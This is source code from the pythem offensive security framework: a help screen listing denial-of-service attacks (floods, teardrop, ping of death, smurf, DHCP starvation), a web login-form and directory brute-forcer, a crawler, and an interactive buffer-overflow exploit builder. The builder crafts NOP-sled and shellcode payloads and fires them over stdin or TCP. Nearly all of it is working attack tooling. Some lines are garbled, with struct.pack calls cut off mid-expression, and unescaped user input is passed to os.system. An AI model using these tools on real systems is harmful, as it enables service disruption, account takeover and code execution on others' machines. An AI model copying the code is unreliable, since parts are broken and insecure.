325 | print color(" - udpflood | Start a UDP flood attack on target address, default port = 80, set port to change.",
326 | "yellow")
327 | print
328 | print color(" - teardrop | Start a UDP teardrop fragmentation attack.", "yellow")
329 | print
330 | print color(" - land | Start a LAND attack on target address, default port = 80, set port to change.", "yellow")
331 | print
332 | print color(" - icmpflood | Start a ICMP flood attack on target address.", "yellow")
333 | print
334 | print color(" - pingofdeath | Start a ping of death (P.O.D) attack on target address.", "yellow")
335 | print
336 | print color(
337 | " - icmpsmurf | Start a ICMP smurf attack on target host. Send echo-requests to hosts with spoofed target address.",
338 | "yellow")
339 | print
340 | print color(
341 | " - dhcpstarvation | Start a DHCP starvation attack on network DHCP server. Multiple spoofed MAC dhcp discovers.",
342 | "yellow")
343 | print
344 | print color(" - httpflood | Start to flood HTTP requests on a target URL, *Only GET method supported by now.",
345 | "yellow")
346 | print
347 | print
348 | print color(" examples:", "green")
349 | print
350 | print color(" pythem> ", "red") + "dos dnsdrop"
351 | print color(" pythem> ", "red") + "dos synflood help"
352 | print
353 | print
354 | print color("[SECTION - EXPLOIT DEVELOPMENT AND REVERSE ENGINERING]", "grey")
355 | print
356 | print
357 | print color("[*] xploit: Interactive stdin or tcp exploit development shell.", "blue")
358 | print
359 | print "The stdin should be called after setting file"
360 | print "The tcp should be called after setting target"
361 | print
362 | print color(" arguments:", "red")
363 | print
364 | print color(" - stdin | set file before", "yellow")
365 | print color(" - tcp | set target before", "yellow")
366 | print
367 | print color(" examples:", "green")
368 | print
369 | print color(" pythem> ", "red") + "set file exec"
370 | print
371 | print color(" pythem> ", "red") + "xploit stdin"
372 | print color(" xploit> ", "blue") + "help"
373 | print " or"
374 | print color(" pythem> ", "red") + "xploit"
375 | print " [*] Select one xploit mode, options = stdin/tcp"
376 | print " [+] Exploit mode: stdin"
377 | print color(" xploit> ", "blue") + "help"
378 | print
379 | print
380 | print color("[SECTION - BRUTE-FORCE]", "grey")
381 | print
382 | print
383 | print color("[*] brute: Start a brute-force attack.", "blue")
384 | print
385 | print "Should be called after setting a target and a wordlist file path"
386 | print
387 | print color(" arguments:", "red")
388 | print
389 | print color(" - ssh | ip address as target", "yellow")
390 | print color(" - url | url (with http:// or https://) as target", "yellow")
391 | print color(" - form | url (with http:// or https://) as target", "yellow")
392 | print color(" - hash | hash as target", "yellow")
393 | print
394 | print color(" examples:", "green")
395 | print
396 | print color(" pythem> ", "red") + "brute webform"
397 | print color(" pythem> ", "red") + "brute ssh help"
398 | print
399 | print
400 | print color("[SECTION - UTILS]", "grey")
401 | print
402 | print
403 | print color("[*] decode and encode: Decode or encode a string with the choosed encoding.", "blue")
404 | print
405 | print color(" examples:", "green")
406 | print
407 | print color(" pythem> ", "red") + "decode base64"
408 | print color(" pythem> ", "red") + "encode ascii"
409 | print
410 | print
411 | print color("[*] cookiedecode: Decode a base64 url encoded cookie value.", "blue")
412 | print
413 | print color(" example:", "green")
414 | print
415 | print color(" pythem> ", "red") + "cookiedecode"
416 | print
417 | print
418 | print color("* Anything else will be executed in the terminal like ls, nano, cat, etc. *", "yellow")
419 | print
420 | print color("by: ", "red") + color("m4n3dw0lf", "blue")
421 | print
422 |
--------------------------------------------------------------------------------
/pythem/modules/web_bruter.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 | import urllib2
23 | import Queue
24 | import urllib
25 | import sys
26 | import os
27 | import mechanize
28 |
29 |
30 | class WEBbrutus(object):
31 | name = "WEB brute forcer"
32 | desc = "Perform web password and directory brute-force"
33 | version = "0.3"
34 |
35 | def __init__(self, target, file):
36 | self.threads = 5
37 | self.target_url = target
38 | self.wordlist = file
39 | self.resume = None
40 | self.user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefor/19.0"
41 | self.word_queue = self.build_wordlist(self.wordlist)
42 | self.extensions = [".txt", ".php", ".bak", ".orig", ".inc", ".doc"]
43 | self.line = "\n------------------------------------------------------------------------\n"
44 |
45 | def build_wordlist(self, wordlist):
46 | # Le a lista de palavras
47 | wordlist = self.wordlist
48 | fd = open(self.wordlist, "rb")
49 | raw_words = fd.readlines()
50 | fd.close()
51 | found_resume = False
52 | words = Queue.Queue()
53 |
54 | for word in raw_words:
55 | word = word.rstrip()
56 | if self.resume is not None:
57 | if found_resume:
58 | words.put(word)
59 | else:
60 | if word == resume:
61 | found_resume = True
62 | print "Resuming wordlist from: %s" % resume
63 | else:
64 | words.put(word)
65 |
66 | return words
67 |
68 | def form_attempt(self, password):
69 | br = mechanize.Browser()
70 | br.set_handle_robots(False)
71 | br.open(self.target_url)
72 | br.select_form(nr=0)
73 | br['{}'.format(self.login)] = self.user
74 | br['{}'.format(self.psswd)] = password
75 | br.submit()
76 | response = br.response()
77 | print "[+] [User:{} Pass:{}] = {}".format(self.user, password, response.geturl())
78 | print
79 |
80 | def form_bruter(self):
81 | print
82 | try:
83 | self.login = raw_input("[+] Enter the input name of the username box: ")
84 | self.psswd = raw_input("[+] Enter the input name of the password box: ")
85 | self.user = raw_input("[+] Enter the username to brute-force the formulary: ")
86 | input_file = open(self.wordlist)
87 | try:
88 | for i in input_file.readlines():
89 | password = i.strip("\n")
90 | self.form_attempt(password)
91 | except KeyboardInterrupt:
92 | return
93 | except Exception as e:
94 | print "[!] Exception caught, check the fields according to the HTML page, Error: {}".format(e)
95 |
96 | def dir_bruter(self, word_queue, extensions=None):
97 | while not self.word_queue.empty():
98 | attempt = self.word_queue.get()
99 | attempt_list = []
100 | attempt_list.append("%s" % attempt)
101 | if "." not in attempt:
102 | attempt_list.append("%s/" % attempt)
103 | else:
104 | attempt_list.append("%s" % attempt)
105 | if extensions:
106 | for extension in extensions:
107 | attempt_list.append("%s%s" % (attempt, extension))
108 |
109 | try:
110 | for brute in attempt_list:
111 | url = "%s%s" % (self.target_url, urllib.quote(brute))
112 |
113 | try:
114 | headers = {}
115 | headers["User-Agent"] = self.user_agent
116 | r = urllib2.Request(url, headers=headers)
117 | response = urllib2.urlopen(r)
118 | if len(response.read()):
119 | print "[%d] ==> %s" % (response.code, url)
120 | except urllib2.URLError, e:
121 | if e.code != 404:
122 | print "!!! %d => %s" % (e.code, url)
123 | pass
124 | except KeyboardInterrupt:
125 | break
126 |
127 | def start(self, mode):
128 | if mode == 'url':
129 | print "[+] Content URL bruter initialized."
130 | try:
131 | self.dir_bruter(self.word_queue, self.extensions, )
132 | except KeyboardInterrupt:
133 | print "[*] User requested shutdown."
134 |
135 | elif mode == 'form':
136 | print "[+] Brute-Form authentication initialized."
137 | try:
138 | self.form_bruter()
139 | except KeyboardInterrupt:
140 | print "[*] User requested shutdown."
141 |
142 | def stop(self, mode):
143 | if mode == 'url':
144 | try:
145 | print "[-] Content URL bruter finalized."
146 | except Exception as e:
147 | print "[!] Exception caught: {}".format(e)
148 |
149 | elif mode == 'form':
150 | try:
151 | print "[-] Brute-Form authentication finalized."
152 | except Exception as e:
153 | print "[!] Exception caught: {}".format(e)
154 |
--------------------------------------------------------------------------------
/pythem/modules/webcrawler.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2.7
2 |
3 | # coding=UTF-8
4 |
5 | # Copyright (c) 2016-2018 Angelo Moura
6 | #
7 | # This file is part of the program pythem
8 | #
9 | # pythem is free software; you can redistribute it and/or
10 | # modify it under the terms of the GNU General Public License as
11 | # published by the Free Software Foundation; either version 3 of the
12 | # License, or (at your option) any later version.
13 | #
14 | # This program is distributed in the hope that it will be useful, but
15 | # WITHOUT ANY WARRANTY; without even the implied warranty of
16 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
17 | # General Public License for more details.
18 | # You should have received a copy of the GNU General Public License
19 | # along with this program; if not, write to the Free Software
20 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
21 | # USA
22 |
23 | import sys
24 |
25 | reload(sys)
26 | sys.setdefaultencoding('utf-8')
27 |
28 | import urllib2
29 | import re
30 |
31 |
32 | class WebCrawler(object):
33 |
34 | def __init__(self):
35 | self.links = []
36 | self.status = {}
37 | self.port = None
38 | self.url = None
39 |
40 | def findNewLinks(self, data, saved_url):
41 | if ":" in self.url.split("://")[1]:
42 | if "/" not in self.url.split("://")[1]:
43 | self.port = self.url.split("://")[1].split(":")[1]
44 | elif "/" in self.url.split("://")[1]:
45 | self.port = self.url.split("://")[1].split(":")[1].split("/")[0]
46 | else:
47 | self.port = None
48 | else:
49 | self.port = None
50 |
51 | new_links = re.findall(r'href=[\'"]?([^\'" >]+)', data)
52 | new_links += re.findall(r'src=[\'"]?([^\'" >]+)', data)
53 | endext = [".css", ".png", ".ico", ".jpeg", ".jpg", ".mpg", ".mpeg", ".mp3", "#", ".gif"]
54 | startext = ["#", "//"]
55 | weird_strings = [";", ":"]
56 |
57 | for l in new_links:
58 | if l.endswith(tuple(endext)) or l.startswith(tuple(startext)) or any(x in l for x in weird_strings):
59 | continue
60 |
61 | elif l.startswith("/"):
62 | if self.port:
63 | scheme = self.url.split("://")[0] + "://"
64 | address = self.url.split("://")[1]
65 | address = address.split(":")[0]
66 | link = "{}{}:{}{}".format(scheme, address, self.port, l)
67 | else:
68 | link = "{}{}".format(self.url, l)
69 | if link in self.links:
70 | continue
71 | else:
72 | self.links.append(link)
73 |
74 | elif not l.startswith("h"):
75 | address = saved_url.split("/")
76 | address = "/".join(address[:-1])
77 | link = "{}/{}".format(address, l)
78 | if link in self.links:
79 | continue
80 | else:
81 | self.links.append(link)
82 | else:
83 | link = l
84 | if link in self.links:
85 | continue
86 | else:
87 | self.links.append(link)
88 |
89 | def start(self, target):
90 | # try:
91 | global links
92 | self.links = []
93 | self.url = target
94 | try:
95 | host = self.url.split("://")[1].split(":")[0]
96 | except:
97 | host = self.url.split("://")[1]
98 | host = self.url.split("://")[0] + "://" + host
99 | website = urllib2.urlopen(self.url, timeout=1)
100 | html = website.read()
101 | self.findNewLinks(html, self.url)
102 | new_links = []
103 | buf = "Scope: {}\r\n".format(self.url)
104 | message = None
105 |
106 | while self.links != new_links:
107 | if len(self.links) > 100:
108 | message = "\nLimit of 100 links reached, breaking to avoid loops.\n"
109 | for l in self.links:
110 | # url = l
111 | try:
112 | if l.startswith(host):
113 | new_r = urllib2.urlopen(l, timeout=1)
114 | self.status[l] = website.getcode()
115 | new_html = new_r.read()
116 | self.findNewLinks(new_html, l)
117 | else:
118 | self.status[l] = "external"
119 | continue
120 | except Exception as e:
121 | try:
122 | self.status[l] = e.getcode()
123 | except:
124 | print "Exception caught: {}".format(e)
125 | continue
126 | new_links = self.links
127 |
128 | for l in self.links:
129 | try:
130 | buf += "Link found: {} [{}]\r\n".format(l, self.status[l])
131 | except:
132 | pass
133 |
134 | if message:
135 | buf += message
136 | print buf
137 | # except Exception as e:
138 | # print "Exception caught 2: {}".format(e)
139 |
--------------------------------------------------------------------------------
/pythem/modules/xploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 |
3 | # Copyright (c) 2016-2018 Angelo Moura
4 | #
5 | # This file is part of the program pythem
6 | #
7 | # pythem is free software; you can redistribute it and/or
8 | # modify it under the terms of the GNU General Public License as
9 | # published by the Free Software Foundation; either version 3 of the
10 | # License, or (at your option) any later version.
11 | #
12 | # This program is distributed in the hope that it will be useful, but
13 | # WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15 | # General Public License for more details.
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program; if not, write to the Free Software
18 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
19 | # USA
20 |
21 |
22 | import os
23 | import fcntl
24 | import signal
25 | import sys
26 | import struct
27 | import resource
28 | import time
29 | import termcolor
30 | import threading
31 | from utils import *
32 | from netaddr import IPAddress, AddrFormatError
33 | import subprocess
34 | from subprocess import *
35 | from socket import *
36 | from ropper import RopperService
37 | import termcolor
38 | from time import sleep
39 | from completer import Completer
40 |
41 |
42 | class Exploit(object):
43 | name = "Exploit development interactive shell."
44 | desc = "use gdb plus ROPgadget + offset generator and memaddresses to create exploits."
45 |
46 | def __init__(self, target, mode):
47 | self.version = '0.0.5'
48 | self.target = target
49 | self.mode = mode
50 | self.xtype = 'bufferoverflow'
51 | self.offset = 1
52 | self.nops = 0
53 | self.shellcode = ''
54 | self.lenght = 0
55 | self.addr1 = None
56 | self.addr2 = None
57 | self.arch = 'x86'
58 | self.port = 0
59 | if self.target:
60 | self.p1 = Popen(['gdb', "--silent", "{}".format(self.target)], stdin=PIPE, stdout=PIPE, bufsize=1)
61 | gdbout = self.p1.stdout.readline()
62 | else:
63 | self.p1 = Popen(['gdb', '--silent'], stdin=PIPE, stdout=PIPE, bufsize=1)
64 | # gdbout = self.p1.stdout.readline()
65 | completer = Completer(".gdb_history", "xploit")
66 |
67 | def gdb(self, cmd):
68 | def signal_handler(signum, frame):
69 | print 1 + "that's ugly"
70 |
71 | signal.signal(signal.SIGALRM, signal_handler)
72 | signal.alarm(1)
73 | try:
74 | print >> self.p1.stdin, cmd
75 | for line in iter(self.p1.stdout.readline, b''):
76 | print line
77 | except KeyboardInterrupt:
78 | pass
79 | except Exception as e:
80 | # print "[!] Exception caught: {}".format(e)
81 | pass
82 |
83 | def getshellcode(self, file):
84 | os.system("for i in $(objdump -d {} |grep '^ ' |cut -f2); do echo -n '\\x'$i; done; echo".format(file))
85 |
86 | def search(self, file, search, find):
87 | options = {'color': True,
88 | 'detailed': True}
89 | rs = RopperService(options)
90 | ls = file
91 | rs.addFile(ls)
92 | rs.setArchitectureFor(name=ls, arch=self.arch)
93 | if search == "instructions":
94 | os.system('ropper --file {} --search "{}"'.format(self.target, find))
95 | elif search == "opcode":
96 | os.system('ropper --file {} --opcode "{}"'.format(self.target, find))
97 | else:
98 | print "[!] Select a valid search (instructions/opcode)."
99 | return
100 |
101 | def pattern(self, size=1024):
102 | return "\x41" * size
103 |
104 | def nops(self, size=1024):
105 | return "\x90" * size
106 |
107 | def int2hexstr(self, num, intsize=4):
108 | if intsize == 8:
109 | if num < 0:
110 | result = strct.pack(" 0:
142 | payload += ["{}".format(self.nops(self.nops))]
143 |
144 | payload += [self.shellcode]
145 | total = len(payload) - self.lenght
146 | fill = self.pattern(total)
147 | payload += [fill]
148 | payload = self.list2hexstr(payload)
149 | print "[+] Writing payload into buffer.txt"
150 | f = open("buffer.txt", "w")
151 | f.write(payload)
152 |
153 | elif self.arch == "x64":
154 | if self.addr1 is not None:
155 | payload += struct.pack(" 0:
159 | payload += ["{}".format(self.nops(self.nops))]
160 |
161 | payload += [self.shellcode]
162 | total = len(payload) - self.lenght
163 | fill = self.pattern(total)
164 | payload += [fill]
165 | payload = self.list2hexstr(payload, 8)
166 | print "\n[+] Writing payload into buffer.txt\n"
167 | f = open("buffer.txt", "w")
168 | f.write(payload)
169 | else:
170 | print "[!] Select a valid processor architecture."
171 | return
172 |
173 | if self.mode == "tcp":
174 | self.port = input("[+] Enter the tcp port to fuzz: ")
175 | self.tcppwn(payload)
176 |
177 | elif self.mode == "stdin":
178 | self.stdinpwn(payload)
179 | else:
180 | print "[!] Select a valid mode (stdin or tcp)."
181 |
182 | def stdinpwn(self, payload):
183 | resource.setrlimit(resource.RLIMIT_STACK, (-1, -1))
184 | resource.setrlimit(resource.RLIMIT_CORE, (-1, -1))
185 | P = Popen(self.target, stdin=PIPE)
186 | print "[*] Sending buffer with lenght: " + str(len(payload))
187 | P.stdin.write(payload)
188 | while True:
189 | line = sys.stdin.readline()
190 | P.poll()
191 | ret = P.returncode
192 | if ret is None:
193 | P.stdin.write(line)
194 | else:
195 | if ret == -11:
196 | print "[*] Child program crashed with SIGSEGV"
197 | else:
198 | print "[-] Child program exited with code %d" % ret
199 | break
200 |
201 | print "\n If it does not work automatically, run on terminal: (cat buffer.txt ; cat) | {}".format(self.target)
202 |
203 | def tcppwn(self, payload):
204 | try:
205 | self.target = str(IPAddress(self.target))
206 | except AddrFormatError as e:
207 | try:
208 | self.target = gethostbyname(self.target)
209 | except Exception as e:
210 | print "[-] Select a valid IP address or domain name as target."
211 | print "[!] Exception caught: {}".format(e)
212 | return
213 |
214 | try:
215 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
216 | self.socket.settimeout(4)
217 | self.socket.connect((self.target, self.port))
218 | self.socket.send(payload)
219 | while True:
220 | self.socket.recv(1024)
221 | except KeyboardInterrupt:
222 | return
223 |
224 | except Exception as e:
225 | if 'Connection refused' in e:
226 | print "[-] Connection refused."
227 | return
228 |
229 | def start(self):
230 | while True:
231 | try:
232 | console = termcolor.colored("xploit>", "blue", attrs=["bold"])
233 | self.command = raw_input("{} ".format(console))
234 | os.system("echo {} >> .gdb_history".format(self.command))
235 | self.argv = self.command.split()
236 | self.input_list = [str(a) for a in self.argv]
237 |
238 | try:
239 | if self.input_list[0] == 'exit' or self.input_list[0] == 'quit':
240 | break
241 |
242 | elif self.input_list[0] == 'help':
243 | self.printHelp()
244 |
245 | elif self.input_list[0] == 'clear':
246 | os.system("clear")
247 | elif self.input_list[0] == 'cat' or self.input_list[0] == '(cat':
248 | os.system("cat {}".format(str(self.input_list[1])))
249 | elif self.input_list[0] == 'python':
250 | os.system("python {}".format(" ".join(self.input_list[1:])))
251 | elif self.input_list[0] == 'echo':
252 | os.system("echo {}".format(" ".join(self.input_list[1:])))
253 | elif self.input_list[0] == 'ping':
254 | os.system("ping {}".format(" ".join(self.input_list[1:])))
255 | elif self.input_list[0] == 'nc':
256 | os.system("nc {}".format(" ".join(self.input_list[1:])))
257 |
258 | elif self.input_list[0] == 'search':
259 | try:
260 | file = self.target.replace("./", "")
261 | try:
262 | search = self.input_list[1]
263 | except IndexError:
264 | try:
265 | search = raw_input("[+] Search (instructions/opcode): ")
266 | except KeyboardInterrupt:
267 | pass
268 |
269 | try:
270 | find = raw_input("[+] Find: ")
271 | except KeyboardInterrupt:
272 | pass
273 | self.search(file, search, find)
274 |
275 | except Exception as e:
276 | print "[!] Exception caught: {}".format(e)
277 |
278 | elif self.input_list[0] == 'fuzz':
279 | try:
280 | from fuzzer import SimpleFuzz
281 | self.fuzz = SimpleFuzz(self.target, self.mode, self.offset)
282 | except KeyboardInterrupt:
283 | pass
284 | except Exception as e:
285 | print "[!] Exception caught: {}".format(e)
286 | pass
287 | elif self.input_list[0] == 'shellcode':
288 | self.getshellcode(self.input_list[1])
289 |
290 | elif self.input_list[0] == 'cheatsheet':
291 | self.gdbCheatSheet()
292 |
293 | elif self.input_list[0] == 'xploit':
294 | self.run()
295 |
296 | elif self.input_list[0] == "decode":
297 | try:
298 | print decode(self.input_list[1])
299 | except KeyboardInterrupt:
300 | pass
301 | except:
302 | type = raw_input("[+] Type of decoding: ")
303 | print decode(type)
304 |
305 | elif self.input_list[0] == "encode":
306 | try:
307 | print encode(self.input_list[1])
308 | except KeyboardInterrupt:
309 | pass
310 | except:
311 | type = raw_input("[+] Type of encoding: ")
312 | print decode(type)
313 |
314 | elif self.input_list[0] == "encoder":
315 | try:
316 | if self.input_list[1]:
317 | string = " ".join(self.input_list[1:])
318 | except:
319 | string = raw_input("[+] String to encode: ")
320 |
321 | try:
322 | opt = raw_input("[?] Output, [A]Address/[S]Shellcode/[L]LittleEndian (A/S/L): ")
323 | rev_string_hex = string[::-1].encode('hex')
324 |
325 | if opt.lower() == "a":
326 | if len(string) > 8:
327 | print "[-] String overflow the 64bit address space."
328 | else:
329 | print "0x" + rev_string_hex
330 |
331 | elif opt.lower() == "s":
332 | array = []
333 | for i in rev_string_hex:
334 | array.append(i)
335 | result = zip(*[array[x::2] for x in (0, 1)])
336 | buf = ""
337 | for x, y in result:
338 | buf += "\\x{}{}".format(x, y)
339 | print buf
340 |
341 | elif opt.lower() == "l":
342 | print rev_string_hex
343 |
344 | else:
345 | print "[!] Invalid option"
346 | except KeyboardInterrupt:
347 | pass
348 |
349 | elif self.input_list[0] == "decoder":
350 | try:
351 | if self.input_list[1]:
352 | string = " ".join(self.input_list[1:])
353 | except:
354 | string = raw_input("[+] Shellcode/Address/LittleEndian String to decode: ")
355 |
356 | try:
357 | string = string.strip("\\x")
358 | except:
359 | pass
360 |
361 | try:
362 | string = string.strip("0x")
363 | except:
364 | pass
365 |
366 | try:
367 | array = []
368 | for i in string:
369 | array.append(i)
370 | result = zip(*[array[x::2] for x in (0, 1)])
371 | result = result[::-1]
372 | buf = ""
373 | for x, y in result:
374 | buf += "{}{}".format(x, y)
375 | print buf.decode("hex")
376 | except Exception as e:
377 | print "[!] Exception caught: {}".format(e)
378 |
379 | elif self.input_list[0] == "print":
380 | if self.input_list[1] == "offset":
381 | print "[+] Offset "
382 | print "[+] lenght: {}".format(self.offset)
383 | elif self.input_list[1] == "nops":
384 | print "[+] Nops "
385 | print "[+] lenght: {}".format(self.nops)
386 | elif self.input_list[1] == "shellcode":
387 | print "[+] Shellcode "
388 | print "[+] lenght: {}".format(self.shellcode)
389 | elif self.input_list[1] == "lenght":
390 | print "[+] Total payload lenght "
391 | print "[+] lenght: {}".format(self.lenght)
392 | elif self.input_list[1] == "addr1":
393 | print "[+] First address to overwrite"
394 | print "[+] memory address 1: {}".format(self.addr1)
395 | elif self.input_list[1] == "addr2":
396 | print "[+] Second address to overwrite"
397 | print "[+] memory address 2: {}".format(self.addr2)
398 | elif self.input_list[1] == "arch":
399 | print "[+] Target system arch"
400 | print "[+] Architecture: {}".format(self.arch)
401 | else:
402 | cmd = ' '.join(self.input_list[0:])
403 | data = self.gdb(cmd)
404 | if data:
405 | print color("{}".format(data), "blue")
406 |
407 |
408 | elif self.input_list[0] == "set" or self.input_list[0] == "SET":
409 |
410 | if self.input_list[1] == "offset":
411 | try:
412 | self.offset = int(self.input_list[2])
413 | except IndexError:
414 | try:
415 | self.offset = input("[+] Enter the offset (number of 'A's): ")
416 | except KeyboardInterrupt:
417 | pass
418 |
419 | elif self.input_list[1] == "nops":
420 | try:
421 | self.nops = int(self.input_list[2])
422 | except IndexError:
423 | try:
424 | self.nops = input("[+] Enter the NOPsled (number of NOPs): ")
425 |
426 | except KeyboardInterrupt:
427 | pass
428 |
429 | elif self.input_list[1] == "shellcode":
430 | try:
431 | self.shellcode = input("[+] Enter the shellcode: ")
432 | except KeyboardInterrupt:
433 | pass
434 |
435 | elif self.input_list[1] == "lenght":
436 | try:
437 | self.lenght = int(self.input_list[2])
438 | except IndexError:
439 | try:
440 | self.lenght = input("[+] Enter the payload total lenght: ")
441 | except KeyboardInterrupt:
442 | pass
443 |
444 | elif self.input_list[1] == "addr1":
445 | try:
446 | self.addr1 = input("[+] First address to overwrite: ")
447 | except KeyboardInterrupt:
448 | pass
449 |
450 | elif self.input_list[1] == "addr2":
451 | try:
452 | self.addr2 = input("[+] Second address to overwrite: ")
453 | except KeyboardInterrupt:
454 | pass
455 |
456 | elif self.input_list[1] == "arch":
457 | try:
458 | self.arch = self.input_list[2]
459 | except IndexError:
460 | try:
461 | self.arch = raw_input("[+] Target system arch: ")
462 | except KeyboardInterrupt:
463 | pass
464 |
465 | else:
466 | cmd = ' '.join(self.input_list[0:])
467 | data = self.gdb(cmd)
468 | if data:
469 | print color("{}".format(data), "blue")
470 |
471 | else:
472 | try:
473 | cmd = ' '.join(self.input_list[0:])
474 | data = self.gdb(cmd)
475 | if data:
476 | print color("{}".format(data), "blue")
477 | except Exception as e:
478 | # DEBUG
479 | # print "[!] Select a valid option, type help to check sintax."
480 | # print e
481 | continue
482 |
483 | except IndexError:
484 | pass
485 | except Exception as e:
486 | print "[!] Exception caught: {}".format(e)
487 |
488 |
489 |
490 | except KeyboardInterrupt:
491 | break
492 |
493 | def printHelp(self):
494 | print
495 | print color(" [XPLOIT v{}]".format(self.version), "grey")
496 | print
497 | print
498 | print color(" TARGET - [ {} ]".format(self.target), "red")
499 | print
500 | print
501 | print color("[*] help: Print this help message.", "blue")
502 | print
503 | print
504 | print color("[*] clear: Clean the screen, same as GNU/Linux OS 'clear'.", "blue")
505 | print
506 | print
507 | print color("[*] exit/quit: Return to pythem.", "blue")
508 | print
509 | print
510 | print color("[*] set Set the variables values.", "blue")
511 | print
512 | print color(" parameters:", "red")
513 | print
514 | print color(" - offset | Number os 'A's to overwrite the instruction pointer.", "yellow")
515 | print
516 | print color(
517 | " - addr1 | (Optional) Hexa(0xaddress) First address to overwrite after the offset.",
518 | "yellow")
519 | print
520 | print color(
521 | " - addr2 | (Optional) Hexa(0xaddress) Second address to overwrite after the offset.",
522 | "yellow")
523 | print
524 | print color(
525 | " - nops | (Optional) Number of NOPs after IP overwrite or after the addr1 and addr2 if they are set.",
526 | "yellow")
527 | print
528 | print color(
529 | " - shellcode | (Optional) Shellcode (could be generated by msfvenom or any other).",
530 | "yellow")
531 | print
532 | print color(" - lenght | Total lenght of the payload.", "yellow")
533 | print
534 | print color(" - arch | Target system processor architecture.", "yellow")
535 | print
536 | print
537 | print color("[*] print Print a variable's value.", "blue")
538 | print
539 | print color(" examples:", "red")
540 | print
541 | print color(" xploit> ", "blue") + "print offset"
542 | print
543 | print
544 | print color("[*] decode/encode Decode or encode a string with a chosen pattern.", "blue")
545 | print
546 | print color(" examples:", "red")
547 | print
548 | print color(" xploit> ", "blue") + "decode hex"
549 | print color(" xploit> ", "blue") + "encode hex"
550 | print
551 | print
552 | print color("[*] encoder Encode string as address / shellcode / little endian", "blue")
553 | print
554 | print color(" examples:", "red")
555 | print
556 | print color(" xploit> ", "blue") + "encoder abcd"
557 | print " [?] Output, [A]Address/[S]Shellcode/[L]LittleEndian (A/S/L): s"
558 | print "\x64\x63\x62\x61"
559 | print
560 | print
561 | print color("[*] decoder Decode address / shellcode / little endian into ASCII", "blue")
562 | print
563 | print color(" examples:", "red")
564 | print
565 | print color(" xploit> ", "blue") + "decoder 0x636261"
566 | print " abc"
567 | print
568 | print
569 | print color("[*] shellcode Get the shellcode of executable file", "blue")
570 | print
571 | print color(" examples:", "red")
572 | print
573 | print color(" xploit> ", "blue") + "shellcode compiled_program"
574 | print
575 | print
576 | print color("[*] search Automatically search for instructions or opcode in the binary executable.",
577 | "blue")
578 | print
579 | print color(" parameters:", "red")
580 | print
581 | print color(" - instructions", "yellow")
582 | print
583 | print color(" - opcode", "yellow")
584 | print
585 | print color(" examples:", "red")
586 | print
587 | print color(" xploit> ", "blue") + "search"
588 | print " [+] Search (instructions/opcode):"
589 | print " or"
590 | print color(" xploit> ", "blue") + "search instructions" + color(" ? - any character", "green")
591 | print " [+] Find: pop ?di" + color(" % - any character", "green")
592 | print
593 | print color(" xploit>", "blue") + "search opcode"
594 | print " [+] Find: ffe4"
595 | print
596 | print
597 | print color("[*] xploit Run the exploit after all the settings.", "blue")
598 | print
599 | print color(" examples:", "red")
600 | print
601 | print color(" xploit> ", "blue") + "xploit"
602 | print
603 | print
604 | print color("[*] cheatsheet Display a GDB cheatsheet ;).", "blue")
605 | print
606 | print color(" examples:", "red")
607 | print
608 | print color(" xploit> ", "blue") + "cheatsheet"
609 | print
610 | print
611 | print color("[*] fuzz Start fuzzing on subject.", "blue")
612 | print
613 | print "If file is passed to xploit will fuzz stdin"
614 | print "If target is passed to xploit will fuzz tcp"
615 | print
616 | print "The offset's value will be the number of 'A's to send."
617 | print
618 | print "[Default = 1]"
619 | print "will be increased in 1 by 1."
620 | print "example:"
621 | print "[offset = 10]"
622 | print "will be increased in 10 by 10."
623 | print
624 | print color(" examples:", "green")
625 | print
626 | print color(" xploit> ", "blue") + "fuzz"
627 | print
628 | print
629 | print color("* Anything else will be executed in GNU debugger shell with {} as file *".format(self.target),
630 | "red")
631 | print
632 |
633 | def gdbCheatSheet(self):
634 | print " ____________________________________________________________________________________ "
635 | print "|: |: |"
636 | print "|---------------------------------------|--------------------------------------------|"
637 | print "|function_name |expression |"
638 | print "|*function_name+ (disas function |address |"
639 | print "|line_number to get ) |$register |"
640 | print "|file:line_number |filename::variable_name |"
641 | print "| |function::variable_name |"
642 | print "|_______________________________________|____________________________________________|"
643 | print " ____________________________________________________________________________________ "
644 | print "|Registers: |Formats: |"
645 | print "|---------------------------------------|--------------------------------------------|"
646 | print "|General Purpose Registers: | |"
647 | print "|ax - Accumulator register |a Pointer |"
648 | print "|bx - Base register |c Read as integer,print as char |"
649 | print "|cx - Counter register |d Integer |"
650 | print "|dx - Data register (I/O) |f Float |"
651 | print "| |o Integer as octal |"
652 | print "|Index Registers: |s String |"
653 | print "|si - Source index (string) |t Integer as binary |"
654 | print "|di - Destination index (string) |u Integer, unsigned decimal |"
655 | print "|ip - Instruction pointer |x Integer, as hexadecimal |"
656 | print "| | |"
657 | print "|Stack Registers: | |"
658 | print "|bp - Base pointer | |"
659 | print "|sp - Stack pointer | |"
660 | print "|_______________________________________|____________________________________________|"
661 | print " ____________________________________________________________________________________ "
662 | print "|Conditions: |Signals: |"
663 | print "|---------------------------------------|--------------------------------------------|"
664 | print "|break/watch if |handle |"
665 | print "|condition |: |"
666 | print "| |(no)print |"
667 | print "| |(no)stop |"
668 | print "| |(no)pass |"
